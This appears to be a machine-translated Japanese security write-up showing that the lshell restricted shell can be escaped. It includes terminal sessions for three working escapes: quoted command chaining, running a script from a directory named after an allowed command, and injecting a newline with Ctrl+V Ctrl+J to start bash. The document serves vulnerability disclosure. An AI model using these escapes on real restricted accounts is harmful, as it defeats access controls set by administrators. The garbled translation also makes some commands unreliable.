lshellは、ユーザーがアクセスできるファイルシステムコマンドとパスを制限するシェルです。 洗練されたchrootセットアップの代替として宣伝されています:
など、使用するためにそれを提供する多くのソースがあります。
このアプリケーションは、Ubuntu、Debian、およびEPELのリポジトリで利用できます。
コードの問題
構成ファイルに関するlshellの注意事項を簡単に見ると、lshellによって導入された制限の一部は、コマンドの構文解析を単純化するために使用されており、セキュリティを強化するものではないことがわかります。 たとえば、セミコロンとサブシェルの使用の禁止。 この構文解析がどのように実装されているかを詳しく見ることは理にかなっています。
ソースコードを調べる
と、起動されたコマンドとその引数の
選択は、単純なCLIコマンドの解析を目的と
したライブラリによって行われ、シェルコマンドの複雑な構文を正しく解析しないことが明らかになります。 同時に、
ドキュメントの
警告にもかかわらず、単純な検証の後、
コマンドは/ bin / shシェルに渡されます 。 検証には特別な注意が必要であり、次の前提に基づいています。
構文の実際の構文解析はどこにも存在しないため、これは検証で行われたすべての仮定とはほど遠いものです。
結果
このような制限されたシェルからのエスケープには、次のシナリオが利用可能です。
シナリオ1:引用符とコマンドチェーンの問題を利用する vladislav @ dt1:〜$ getent passwd testuser
testuser:x:1002:1003:,,,:/ home / testuser:/ usr / bin / lshell
Vladislav @ dt1:〜$ su-テストユーザー
パスワード:
あなたは限られたシェルにいます。
「?」と入力します または「help」は許可されたコマンドのリストを取得します
testuser:〜$?
cd clear echo exit help history ll lpath ls lsudo
テストユーザー:〜$ ls
examples.desktop
テストユーザー:〜$ which bash
***禁止コマンド:which
testuser:〜$ ls'usb '
バス002デバイス001:ID 1d6b:0003 Linux Foundation 3.0ルートハブ
バス001デバイス006:ID 046d:c05a Logitech、Inc. M90 / M100光学式マウス
バス001デバイス002:ID 046d:c31c Logitech、Inc. キーボードK120
バス001デバイス001:ID 1d6b:0002 Linux Foundation 2.0ルートハブ
testuser:〜$ echo && 'bash'
testuser @ dt1:〜$ PATH = / usr / local / sbin:/ usr / local / bin:/ usr / sbin:/ usr / bin:/ sbin:/ bin:/ usr / games:/ usr / local / games: /スナップ/ビン
testuser @ dt1:〜$ reboot --help
再起動[オプション...] [ARG]
システムを再起動します。
--helpこのヘルプを表示
--haltマシンを停止します
-p --poweroffマシンのスイッチをオフにします
--rebootマシンを再起動します
-f --force強制的に即時停止/電源オフ/再起動
-w --wtmp-only wtmpレコードを書き込むだけで、停止/電源オフ/再起動しません
-d --no-wtmp wtmpレコードを書き込みません
--no-wall停止/電源オフ/再起動の前に壁メッセージを送信しません
Ghの問題 シナリオ2:ホームディレクトリからスクリプトを実行します。パスには許可されたコマンドの名前が含まれます Vladislav @ dt1:〜$ su-テストユーザー
パスワード:
あなたは限られたシェルにいます。
「?」と入力します または「help」は許可されたコマンドのリストを取得します
testuser:〜$?
cd clear echo exit help history ll lpath ls lsudo
testuser:〜$ echo '/ 1.sh'
testuser @ dt1:〜$ cat echo / 1.sh
#!/ bin / bash
/ bin / bash
testuser @ dt1:〜$
Ghの問題 シナリオ3:カスタムターミナルシーケンスの使用任意の許可された単語でコマンドを開始し、2つのキーボードショートカット<CTRL + V> <CTRL + J>を連続して押して改行を挿入し、必要なコマンドを新しい行に入力するだけで十分です。
vladislav @ dt1:〜$ getent passwd testuser
testuser:x:1001:1002:,,,:/ home / testuser:/ usr / bin / lshell
Vladislav @ dt1:〜$ su-テストユーザー
パスワード:
あなたは限られたシェルにいます。
「?」と入力します または「help」は許可されたコマンドのリストを取得します
testuser:〜$?
cd clear echo exit help history ll lpath ls lsudo
testuser:〜$ bash
***禁止コマンド:bash
testuser:〜$ echo <CTRL + V> <CTRL + J>
バッシュ
testuser @ dt1:〜$ which bash
/ bin / bash
Ghの問題 最適なソリューション
このソフトウェアソリューションは、安全に使用できる状態からはかけ離れています。 したがって、最善の方法は、操作を停止することです。